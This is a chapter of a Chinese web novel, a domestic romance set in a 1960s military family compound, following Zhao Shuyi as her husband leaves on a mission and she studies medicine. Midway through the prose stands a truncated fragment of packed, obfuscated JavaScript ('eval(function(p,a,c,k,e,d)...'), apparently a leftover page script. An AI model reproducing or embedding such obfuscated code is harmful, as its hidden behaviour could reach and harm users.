不管他怎么做,赵书宜似乎都不愿意对他展开心扉。 可是今天那层屏障好像突然就消失了。 就好像这一切只是他的错觉。 “今天我做了一个新的菜,感谢你这段时间一直照顾我。” 赵书宜给顾岩盛饭,能感觉得出来对方的意外与惊喜,她自己内心也挺开心的。 “我尝尝,你其实可以等我回来再做,你的身体还没好,我会好好照顾你的,我们之间不用讲究那么多。” 顾岩尝了一下肉片,真的很好吃,比他从前吃过的还要好吃。 “你这手艺,不管是拿到食堂还是拿到外面国营饭店应该都能得到一个好工作。” 虽然现在大部分的工作都是一个萝卜一个坑,但是有能力的人在哪里都是受欢迎的。 如果她想要工作,他也能帮她。 赵书宜其实懂了他的意思,但是她不是很想当厨子,自己做好吃的和去一直不停地炒菜是不一样的。 而且现在她已经确定了自己努力的方向就更不会去想做厨子的事了。 她笑道:“你这样说,我们出去是要挨打的。” 顾岩一愣,一本正经道:“谁会打你,没人敢。” “我说笑的,你怎么还当真了?” 顾岩看着她的眉眼,总感觉她病一场后更柔弱了,就连说话也细声细气的。 “你多吃点,最近几天你都瘦了。” 他不停给赵书宜夹菜,没一会儿赵书宜的面前就堆起来一个小尖。 赵书宜哭笑不得。 “别夹了别夹了,你也吃啊,哪里吃得完?” 顾岩见她笑,也跟着傻笑,“你多吃点。” 赵书宜:“你也吃。” 两人正说着,院子外传来有些急促的敲门声。 “顾副团,张团长叫你过去一下,收拾东西准备任务!” 顾岩神色一凛,看了赵书宜一眼,有些抱歉,刚想说话,赵书宜就说:“你先去收拾东西吧,看起来情况好像有些紧急。” “抱歉,你要是有什么需要帮忙的尽管去找黄主任他们,别自己扛着。” 她病刚好,顾岩实在不放心。 但是军令如山,他必须得去。 而且张团长是知道他家里的情况的,如果不是非要他去不可对方不会让人来找他。 情况一定很紧急。 顾岩能想到的,赵书宜也能想到,她心里不知怎么突突地跳,有点担心顾岩。 虽然她记得顾岩腿伤好像不是今年的事情。 但万一是自己的出现引起了什么蝴蝶效应呢? 赵书宜问:“可以带吃的吗,我给你做点吃的带着吧。” 顾岩收着东西,心情实在沉重。 听到她的话,他再也忍不住,转身将她抱在了怀里。 “来不及了,你好好的,等我回来。” 何旭那样子一看就很急,他也舍不得让赵书宜着急忙慌地忙活。 他只希望她能好好地待在家里。 两人抱了大概半分钟,赵书宜感受着他的心跳,没有推开他。 她不是第一次知道他很高大,却是第一次真切地感受到他的高大。 “你注意安全。” “我知道的。” 两人分开后,赵书宜假意在柜子里翻了翻拿出一瓶糖丸递给了他。 “这个你拿着,我做的,关键时候可以补充能量。” 这是赵书宜闲暇时在空间做的,为的就是不方便用灵泉水的时候以备不时之需。 她也知道这对于顾岩来说可能没什么作用,但是还是希望能帮一点点的忙。 顾岩没有多犹豫就把糖丸接到了手里。 “谢谢。” 赵书宜冲他笑笑,又说了句注意安全。 顾岩嗯了一声没再多说,走到院门前回头看了她一眼,然后转身大跨步离开了。 人一走,家里突然就剩了她和蔡明亮两个人。 好像一下子就冷清下来 虽然平时大部分时间家里都是他们两人。 赵书宜没多久就缓过来了,倒是小亮自从顾岩走后就一直心不在焉的。 这几天因为赵书宜生病的原因,没人提收养的事,所以这事还没个影,所以他肯定不是因为这事情不高兴。 很快赵书宜就想到了原因,孩子的父亲大概也是这样,拿着东西一走就再也没有回来。 想到这里,赵书宜心里很不舒服。 她都没想到顾岩对她的影响居然这么大,这才多长时间,她居然都有些不习惯顾岩不在的日子了。 但对方是去做任务,再怎么肯定也得好一段时间才回来,她和孩子的日子还是要过的。 赵书宜拉着小亮吃饭又收拾了碗筷,让孩子洗澡,哄孩子睡觉,好像一切又都恢复成了之前的样子。 只是她似乎失眠了,翻来覆去睡不着。 这几天因为她生病,顾岩一直照顾她,每天晚上都把她圈在怀里。 两个人好像有点过于亲密了。 现在,那个亲密的人不在,她又觉得少了点什么,就连她自己都觉得自己有点麻烦。 睡不着赵书宜只能找点打发时间的事情做。 王军医给她拿的书她还没看完。 虽然里面的知识点她大部分都知道,但总有不知道的或者是已经有些遗忘的,就算是都知道的也能看看举一反三。 看着书果然时间过得快些,她也渐渐有了睡意。 第二天终于又是个大晴天。 之前的那场雨到底没能下下来。 赵书宜望着明亮的窗户看了好一会儿,转头这才发现蔡明亮已经穿好衣服乖乖坐在旁边。 之前顾岩在的时候,他一直都是跟着顾岩一起的。 赵书宜都不知道顾岩早上是怎么安排孩子的。 “饿了没?”赵书宜只能按照自己的节奏来。 小亮摸了摸肚子,点头,“饿了。” “那我们起来收拾收拾去食堂吃饭。” 虽然现在有点晚了,但还没错过食堂的放饭时间。 两人加快速度起床洗漱,结果刚打开院门就看到了坡下面正跟人说话的黄梅。 见到赵书宜,她冲赵书宜挥了挥手。 赵书宜连忙迎下去。 “黄姐,您怎么来了?” 黄梅很是热情。 “你家顾副团长不是担心你早上起来抢不到菜买不到早饭,这不托了我帮你买早饭和菜,但我想着我一路拎着过来不太合适,我就放卫生所了,以后你每天都去卫生所拿啊。” 赵书宜有些讷讷地接过她递过来的包子和稀饭,还有点没反应过来。 “他什么时候拜托您的?” 他不是走得很匆忙吗,哪里来的时间? “让他手底下的兵来通知我的,你跟我说说你喜欢吃啥菜,我每天都要去买,顺便就给你带回来了。” “这怎么好意思?”虽然是用的顾岩的人情,但赵书宜还是觉得这样太麻烦人了,她好手好脚的。 “要不我跟您一起去吧。” “别。”黄梅直接拒绝,“有什么好麻烦的,你这不是和隔壁的一起的吗,我也算是为他们尽份力,你是不知道你帮了我们多大的忙,我代替组织感谢你。” 赵书宜被说得有些飘飘然了。 “黄主任,您别打趣我,我只是做了我应该做的,您自己也不是没事,我可以自己去买菜的。” “不行!”黄梅还是拒绝,“顾岩说了外面还有危险分子没有解决,所以你最好别出家属院,如果要出去尽量找几个人陪着,但我还是建议你先别出去,我听我家老王说,你的脚还没完全好吧。” 赵书宜没想到顾岩连这事都说了,她一时间还真找不到理由反驳。 想到之前在山上时蔡小月的眼神,赵书宜心里还是有点打鼓的。 “你就听我的,咱们在家里好好的,才能让他们在外面安心工作,你要是出点什么事,下次他出去提心吊胆这可不好。” 赵书宜虽然觉得这话有些夸大,但对方显然是真心要帮忙买菜,自己也没必要非得拒绝,大不了想办法还了这人情就是了。 “行,那就麻烦黄姐了,到时候等顾岩回来请您吃饭。” 说到这事,黄梅嘿了一声。 “还说请吃饭呢,顾岩这小子能拖,搬新家没请,结婚没请,说是很快就请,结果拖到这时候,他回来你可得催着他点。” 赵书宜觉得有些好笑,但这又是事实。 本来说闲下来请的,谁知道一直就没个闲的时候,她又总是这种事那种事,她可能真不适合出门去。 得,在家属院待着吧。 赵书宜给黄梅冲了杯红糖水,然后和孩子吃过饭,三人一起去卫生所。 既然来了卫生所,赵书宜就决定今天先完成今天的学习任务再回家。 王军医嘴唇动动,似乎是想反对,但他到底什么也没说,考了考之前教给她的内容。 没想到这次赵书宜几乎对答如流。 “你这几天都在看书?” 赵书宜没否认,之前想慢慢来,所以一直收敛着。 她发觉自己是想岔了。 自己总是担心别人因为灵泉水的缘故把自己当成神医,从而发现自己名不副实的本质。 但她又不是真的对医术一无所知,她有基础,有救人的心,怎么就不能精进医术,成为真正的能让别人信服的治好病人的医生呢。 “你先去处理药材吧,我考虑一下今天给你布置什么内容。” 王军医其实之前就发现赵书宜知道一些她不应该知道的东西,但如果是自己在家自学医术,可能就会是这样的效果,所以他也没多想。 现在看赵书宜这样,他觉得对方的基础可能比自己想的好。 是不是,考验一下就知道了。 拿到今天的任务内容赵书宜就猜到了王军医的用意,她假装不知,拿着菜回了家。 做好饭她把饭拿到了隔壁和夏木兰一起吃,然后把陶团长给撵走了。 当然是给他饭菜的。 “陶团长不会怪我吧?” 赵书宜也是知道他们夫妻是什么样的人才敢这样做。 夏木兰也知道她在说笑,笑道:“你放心吧,那他挺看好你的,他乐意看着我们走得近。” 赵书宜也看出来了,她顺势问道:“这几天那些药,您有按时用吗,帮我写了用药反馈吗?” “当然,吃过饭拿给你,不知道是不是我的错觉,感觉好像是有点用。” 赵书宜看了一下她脖子上的伤疤,似乎确实淡了一点,但也就是一点点,如果不是一直关注着可能很难看出来。 而赵书宜自己则是因为对她的药有信心。 “我也感觉好像有效果,但是时间好短,也不确定是不是真的,再用一段时间看看吧。” 夏木兰自然应下。 吃过饭,三个人又在房间里看书的看书,画画的画画。 虽然仔细想想这样的场景感觉挺奇怪的,但赵书宜自己却觉得有点享受。 像是参加了一个什么图书角,夏木兰和蔡明亮都不是什么很吵闹的人,三个人在一起时显得很安静,心情也能跟着很安静。 赵书宜很快沉浸在那些书本里。 因为想着自己的接下来的打算,今天她没有看夏木兰家里的闲书,而是看的王军医给的医书。 看着看着她突然想到了顾岩,不知道对方现在到了哪里了,出去一趟会不会有危险。 她只是想着,自己都没有注意到自己的情绪,更没注意到自己眉头什么时候已经皱了起来。 夏木兰倒是看到了,问:“你是在担心顾岩吗?” 她一开口,房间里的两人都看向了她。 夏木兰垂眸低低笑了一声,“小亮也担心顾叔叔啊。” 相比赵书宜,蔡明亮可就没有那么多别扭了,他很认真地点了点头,说:“担心顾叔叔,夏婶婶,顾叔叔什么时候回来?” “顾叔叔有很重要的事情要去做,但是会很快回来的,他回来看到小亮认真看书好好吃饭就会很高兴的。” 小孩子单纯,他们会坚定地相信信任的人说出的道理。 他点点头,很认真道:“我知道了,我会认真看书,等顾叔叔回来讲故事给顾叔叔听。” 两个大人听到小孩子这样的话语,唇角都忍不住扬起来。 孩子的真心总是能让人觉得很暖。 “你也不要太担心了,他们去做任务是常有的事,你要是总是担心是担心不过来的。” “我也没有……只是突然想到点事。” 赵书宜说完低下头去,有些欲盖弥彰地盯着手中的书。 她都不知道自己为什么不敢承认。 承认担心顾岩又没有什么大不了的。 她确实有点担心他,毕竟知道他是会在出任务的过程中受重伤的。 思及此,赵书宜忍不住轻轻叹息了一声。 夏木兰看在眼里,笑道:“我也不劝你,有些事情慢慢的就习惯了。” 她讲的这些都是别人给她讲的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这天赵书宜刚从卫生所回来就在院门口遇到了来送信的邮递员。 赵书宜一看地址就知道是张玥寄过来的,连忙就拿着去了隔壁。 “嫂子,回信了。” 赵书宜把信小心地拆开,里面厚厚好几张。 张玥的字明显是练过的,一眼看去就是簪花小楷的感觉,很清秀。 她在信中高度地认可了赵书宜两人的投稿,说他们主编也很看好他们画的东西。 报社希望他们的图文可以搭配起来,既能给喜欢图的人看,也能给喜欢文字的人看。 还可以培养学生看图写文的本事。 这条之后张玥洋洋洒洒对着赵书宜的文笔好一顿夸,直说比她讲得更加精彩,夸完赵书宜又夸夏木兰,扬言从来没见过那么漂亮的画。 她夸得太过投入,以至于看完对方的夸赞赵书宜都有些怀疑对方的话有没有水分。 “她说的应该是真的吧,毕竟我也觉得从来没见过你画的这么好看的画。” 夏木兰一听到赵书宜的话没忍住噗嗤一声笑了出来。 “我们就当是真的吧,反正我也觉得这件事情挺有意义的,我感觉时间挺充裕,我还能多画一些内容,但我没你想得多,得让你费心多想想。” 赵书宜否定了她的提议,“不行,嫂子,咱们得劳逸结合,不能一门心思都去想这个,我们的稿子就算是发出去也得花时间刊印的,我们能赶上就行,我觉得我们可以想点其他的事情做。” 这倒是难倒夏木兰了,这事情就是她能想到的目前最有意义的事情了。 赵书宜摸着下巴想了一下。 其实她们两个人很适合凑在一起进行图文并茂的文学创作。 但是赵书宜可记得很清楚,现在是六五年,所以她们暂时不能做这个。 “嫂子,你让我想想做点什么好。” “不急,你慢慢想,不过我除了画画也没有太多擅长的事情了。” 说到这话时,她语气不自觉就低了下去。 能看得出来她已经在极力掩饰,但是有些遗憾被提及是很难隐藏的。 门外,原本回来听到两人欢声笑语的陶源想要停下脚步多听两句,结果就听夏木兰提到了自己不愿意提的话。 他在门口站了一会儿,想要默默离开,却听赵书宜十分夸张道:“我的天,你会画画已经很厉害了好吗,我花一辈子也不可能比你画得好,你都没把重心放在这上面啊!” 赵书宜想了一下,说:“要不然嫂子你就多画画吧,画你画我画陶团长画山河大川,练个十年肯定能成个绘画大师。” 两个人又嘻嘻哈哈起来,陶源没打扰两人勾着唇角离开了。 赵书宜两人说得认真,根本没注意陶源回来过。 这些天看似是赵书宜一直在陪着夏木兰,但夏木兰又何尝不是在陪着她。 越是相处,赵书宜越觉得对方相处起来很舒服。 她甚至能想象对方曾经在部队里雷厉风行的样子。 其实赵书宜最想的是她可以画一套自传。 可这无疑是揭人伤疤,赵书宜只能在给她的药里多加了点灵泉水。 然后赵书宜又说服对方让自己给她按摩。 下一步赵书宜打算学习针灸。 她从前最害怕的就是这些需要技术的实践课。 但仔细想想班上实践能力强的,哪个不是十年如一日地慢慢练习慢慢磨出来的,真正的天才又有几个? 所以她得努力练习。 又过了大概一个星期,赵书宜拿到了自己的行医资格证。 拿到证的第一时间王军医就让她帮人把脉了。 赵书宜很懵,可是病人在,赵书宜完全不敢表现自己的怂。 自己都觉得自己不行,让病人怎么相信? 所以赵书宜硬着头皮上了。 她也不是完全不懂,毕竟她可是把出王军医和媳妇夫妻生活过于和谐的人。 “你这身体有点虚啊。”赵书宜看着面前骨瘦如柴的年轻女人,收回手,淡淡观察她脸上的神色。 女人点头,她一开始明显还不太相信赵书宜的医术,可见王军医在一旁坐着,她这才放心让赵书宜帮忙看。 “大夫给我开点药吧,我老是觉得头晕,站都站不稳。” 赵书宜问:“今天早上吃的什么?” 女人大概不知道她为什么这么问,下意识摸了摸自己的肚子,说:“我没吃坏肚子啊,我是头晕。” “吃的什么?”赵书宜又问。 “吃……吃的稀饭和咸菜。” 赵书宜:“这就是了,用不着开药,你以后每天早上加个馒头和鸡蛋,每天再多加一碗饭和一碗肉,半个月就能好。” “那得花多少钱?”女人一脸不乐意,“我听说医院的葡萄糖治我这个特别有用,才两毛。” 赵书宜拉着脸,“药可以吃,只是暂时缓解,不尊医嘱,过两天你还得来。” 女人一听不乐意了。 “你这不是咒我吗,哪有你这样的大夫,我不要你给我治了,王军医你给我看看吧,你都在这儿,你咋让个啥都不懂的小姑娘给我治呢?” 王军医就坐在两人的旁边,他全程关注着两人的情况,他觉得赵书宜身上有一种老大夫身上才有的淡漠之感。 不是对生命的淡漠,而是对于难缠病人的故意装出来的淡漠。 有些病人就喜欢看冷冰冰的大夫,他们觉得医生就是应该严肃,嬉皮笑脸的就很有问题。 越是严厉的大夫说的话他们越能相信。 这种感觉是日积月累才能散发出来的,他不懂赵书宜怎么就能表现得这么自然。 他一直没开口说话,等那女人点到他了,他才开口。 “她是我一手带出来的,你觉得她的医术不行就是在质疑我的医术不行,那你也没必要看了。” 明明表情看着还是挺和善的,说出来的话跟刀子似的,让赵书宜都惊讶了。 再看女人一脸委屈巴巴。 “你们的意思是不帮我治了是吧,没本事就说没本事,神气什么啊!” 她说着她还眼睛红了,起身就走,结果跑到门口差点撞到人。 见到来人,赵书宜连忙从椅子上站起来。 心里抑制不住地激动。 “你回来了。” 顾岩出去得有大半个月了,看着像是瘦了一圈,也黑了。 他应该是回去洗漱换了衣服,整个人都收拾好了,但是脸上难掩疲色。 “怎么不在家休息一下,是受伤了吗?” 如果不是受伤,到卫生所来做什么? 顾岩从进卫生所,视线就没从赵书宜身上挪开过,听到她关心自己,心里更是塌陷了好一块。 “没受伤,我来接你。” “给他把把脉。”王军医看了他一眼,一副没眼看的表情。 赵书宜连忙让人坐在椅子上,抬手帮对方把脉。 并没有不正常,看着就是操劳过度。 他看着赵书宜,也不管王军医在旁边,说:“我想吃你做的饭。” 赵书宜第一时间转头看向王军医。 王军医一脸嫌弃地摆了摆手,“赶紧走赶紧走!” “我明天再来。”赵书宜有点不好意思地拿着菜跟顾岩一起往回走,“明天给您带好吃的。” 王军医笑呵呵,“这还差不多。” 两人走出卫生所,顾岩就把赵书宜手里的东西接了过去。 “脚好了吗?”他问。 已经这么久没见,再次见面赵书宜居然又开始觉得有点不自在了。 她点头,“好了,老早就好了,活蹦乱跳的。” “可不能活蹦乱跳,得真的好了才行,扭伤就是恢复得比较慢的。” 他很是关切,让赵书宜一颗心都酸酸胀胀的。 “知道啦。” 顾岩只是用余光看着她,没再说话。 一路上遇到几个认识的婶子嫂子还停下来打了招呼。 大家都知道顾岩是去做任务回来,不管他变成什么样,也没人调侃他,只是让他赶紧回去休息。 顾岩谢过,表现得依旧清清冷冷的。 他平常在外人面前就不是个多话的人,现在好像更沉默了。 赵书宜只当他是累了,回去后就把他往屋里推。 “你好好睡一会儿,我去做饭,饭好了叫你。” 赵书宜跟他说话,他眼睛依旧一眨不眨地看着赵书宜,让赵书宜多少感觉有点不好意思。 “你睡吧。” 赵书宜说完要逃,结果整个人被揽进一个温暖的怀抱里。 他刚洗过澡身上还带着肥皂的香味,跟两人第一次坐火车时他给她带的被单一样的味道。 也不知道为什么,这一刻,赵书宜也有些贪恋这个怀抱。 他说:“我有点想你。” 赵书宜一颗心疯狂跳动,张张嘴却不知该怎么答,最后小心地将手搭在了他的背上。 对方将她拥得更紧了。